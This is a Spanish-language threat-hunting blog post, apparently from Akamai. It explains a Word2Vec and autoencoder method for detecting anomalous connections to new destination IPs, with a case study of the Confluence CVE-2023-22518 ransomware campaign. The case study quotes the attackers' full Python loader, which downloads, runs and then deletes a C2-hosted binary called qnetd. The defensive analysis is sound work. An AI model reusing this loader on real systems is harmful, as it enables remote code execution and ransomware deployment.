Introducción
La protección del tráfico de la red de la empresa es fundamental en la lucha contra los atacantes que intentan perjudicar a las organizaciones y causar daños irreparables. La identificación de nuevas IP de destino potencialmente maliciosas desempeña un papel clave en esta defensa: no puedes proteger lo que no sabes que necesita protección.
La capacidad de detectar conexiones anómalas a estas IP de destino nunca vistas es una potente herramienta que proporciona a los administradores información y advertencias sobre amenazas potenciales.
Nuestro enfoque en IP de destino nunca vistas se debe al reconocimiento de que los atacantes utilizan con frecuencia estas nuevas direcciones IP para eludir las medidas de seguridad tradicionales, lo que hace esencial priorizar los esfuerzos de detección en consecuencia.
En esta entrada del blog, presentamos un método de aprendizaje automático que detecta conexiones anómalas a nuevas IP de destino a las que se accede desde nodos de organización de la red. Utilizamos los metadatos de las conexiones para crear el método. Nuestro enfoque consiste en emplear el algoritmo Word2Vec para representar las características asociadas con las IP de destino y aplicar un paso final de codificador automático.
Usamos este método en una campaña real y logramos una detección satisfactoria. Las direcciones IP sospechosas pueden estar implicadas en actividades maliciosas, como servidores de mando y control (C2), botnets y dominios de phishing, por lo que una detección rápida puede marcar la diferencia entre una alerta y un incidente.
Identificar una nueva IP de destino sospechosa es todo un reto
Nos enfrentamos a varios desafíos en nuestro esfuerzo por detectar y mitigar las amenazas que plantean las nuevas IP de destino nunca vistas. Debido a que estas IP carecen de reputación previa o datos históricos, los métodos de detección tradicionales son ineficaces. Su novedad hace que sea desafiante distinguir las primeras comunicaciones benignas de las maliciosas, ya que pueden parecerse a los patrones de tráfico cotidianos.
Descubrimos que el análisis de la secuencia del proceso de origen, el puerto de destino, el número de sistema autónomo (ASN) y la geolocalización vinculada a la IP de destino permitió abordar estos retos satisfactoriamente. Al hacerlo, obtuvimos una visión más profunda del contexto del tráfico de red. Este enfoque nos permitió mejorar en gran medida nuestra capacidad para identificar y marcar nuevas IP de destino sospechosas.
Detección de anomalías
Nuestra metodología utiliza técnicas de aprendizaje automático que se adaptan a los retos únicos de la detección de anomalías en el tráfico de red. Recopilamos diversos metadatos asociados a los datos de tráfico de red que contienen información crucial sobre los procesos de origen, los puertos de destino, los ASN, las geolocalizaciones y mucho más. Se requieren diversos conjuntos de datos para realizar un análisis exhaustivo y una clasificación para obtener unos resultados adecuados.
Categorizamos y agrupamos el proceso de origen y el puerto de destino en función de sus respectivas funciones para facilitar el análisis. Por ejemplo, hemos consolidado diferentes puertos estándar de servidores de lenguaje de consulta estructurado (SQL), como MSSQL 1433 y MySQL 3306, en una sola categoría: Servidor SQL.
Uso del aprendizaje automático para la detección de anomalías
Aplicamos el algoritmo Word2Vec para capturar las similitudes semánticas entre diferentes IP basadas en el contexto del análisis de la red. Word2Vec, que se desarrolló originalmente para el procesamiento del lenguaje natural, aprende representaciones vectoriales analizando el contexto en el que aparecen los elementos.
En nuestro enfoque, modelamos secuencias de metadatos de red como entrada para el algoritmo, lo que le permite aprender incrustaciones significativas que reflejan las relaciones de comportamiento en toda la red. Esto permite una detección de anomalías y un reconocimiento de patrones más eficaces.
Al representar IP como vectores de alta dimensión, permitimos que el algoritmo identifique patrones de IP que aparecen frecuentemente juntas en el tráfico de red. Las IP que se encuentran cercanas en el espacio vectorial comparten relaciones contextuales sólidas, mientras que los valores atípicos o las anomalías se sitúan más lejos. Este enfoque ofrece información valiosa sobre la estructura y la dinámica del tráfico de red.
En la fase final de nuestra metodología, utilizamos un autocodificador, un tipo de red neuronal artificial diseñada para el aprendizaje sin supervisión que tiene como objetivo comprimir y reconstruir los datos de entrada de forma eficiente. El codificador automático nos permite detectar anomalías en el tráfico de red sin depender de datos de formación etiquetados. Esto permite a nuestro algoritmo adaptarse a los escenarios de amenazas en constante evolución y detectar de forma eficaz nuevos patrones de ataque.
Las funciones de incrustación se introducen en el autocodificador, lo que le permite aprender y reconstruir patrones de tráfico de red normales (Figura 1). Las conexiones con errores de reconstrucción elevados se marcan como actividad maliciosa potencial.
Validación de anomalías
Un principio básico de esta metodología es la revisión y el aprendizaje continuos. Mediante la aplicación de nuestro algoritmo, podemos revisar todas las nuevas IP de destino y comprobar cada conexión entre ellas a diario para identificar anomalías y, por lo tanto, identificar comportamientos potencialmente maliciosos.
La Figura 2 es un ejemplo real de los resultados de un día de un cliente. Hubo 462 nuevas IP de destino en ese día.
La línea roja horizontal representa el umbral para marcar una conexión como anómala. Cualquier conexión que produzca un error de reconstrucción por encima de esta línea se considerará sospechosa.
Los puntos azules indican aquellas IP que nuestro sistema ha determinado que son benignas, ya que muestran errores de reconstrucción bajos y coinciden con el patrón esperado de comportamiento de la red.
El punto naranja representa una única IP que nuestro análisis ha marcado como anómala debido a su alto error de reconstrucción.
Posteriormente, la anomalía se investigó y confirmó como un componente de un ataque de campaña, subrayando la solidez y la importancia crítica de nuestros mecanismos de detección. En la siguiente sección, se incluyen los detalles del ataque.
Cómo detectó nuestro algoritmo un ataque en el entorno de un cliente
Por muy buena que sea la nueva metodología en teoría, solo tiene valor si se puede aplicar en la práctica. Decidimos ejecutar nuestro algoritmo contra un ataque detectado anteriormente, que formaba parte de una campaña de Confluence conocida que explotaba la vulnerabilidad CVE-2023-22518. Este ataque provocó la ejecución remota de código y la implementación de ransomware.
En este caso, la explotación inicial permitió a los atacantes el acceso no autorizado al servidor. Establecieron una conexión a un servidor de mando y control (C2) a través de Python y descargaron un archivo malicioso llamado qnetd (Figura 3).
python3 -c import os,sys,time import platform as p if sys.version_info.major == 3: import urllib.request as u else: import urllib2 as u h = /tmp/lru d = ./qnetd ml = {3x:[i386,i686], 6x:[x86_64,amd64], 3a:[arm], 6a:[aarch64]} try: m = p.machine().lower() if os.popen(id -u).read().strip() == 0: try: os.chdir(/var) except: os.chdir(/tmp) else: os.chdir(/tmp) for l in open(h): for k,al in ml.items(): for a in al: if a == m: l = l+.+k r = u.urlopen(l) with open(d, wb) as f: f.write(r.read()) f.flush() r.close() os.system(chmod +x +d) os.system(chmod 755 +d) os.system(d + > /dev/null 2>&1 &) time.sleep(5) os.remove(d) os.remove(h) except: if os.path.exists(h): os.remove(h) if os.path.exists(d): os.remove(d) pass
Observamos que dos servidores se comunicaban con la dirección IP maliciosa, la cual formaba parte de la campaña masiva relacionada con la vulnerabilidad CVE-2023-22518 de Atlassian Confluence. Esta comunicación se originaba desde los procesos Python y qnetd, que se detectaron mediante nuestro método al presentar una geolocalización anómala (Figura 4).
Permitir la identificación proactiva de conexiones de red sospechosas
La detección de conexiones de red anómalas a nuevas IP de destino es un aspecto fundamental de la ciberseguridad empresarial. Al aprovechar las técnicas de Word2Vec y autocodificador, nuestro enfoque analiza los metadatos del tráfico de red, como los procesos de origen, los puertos de destino y la geolocalización, para identificar posibles amenazas de seguridad que podrían eludir los métodos de detección tradicionales.
En un caso práctico real, nuestro método detectó satisfactoriamente un ataque sofisticado que explotaba una vulnerabilidad de Confluence (CVE-2023-22518), lo que demostró la eficacia del método a la hora de detectar una IP maliciosa que formaba parte de una campaña de implementación de ransomware.
Esta técnica permitirá a las organizaciones identificar de forma proactiva las conexiones de red sospechosas mediante el aprendizaje y la identificación de desviaciones de los patrones de tráfico normales.
Más información
Para obtener más información sobre nuestro servicio gestionado de búsqueda de amenazas, visite la página web de Akamai Hunt.
Etiquetas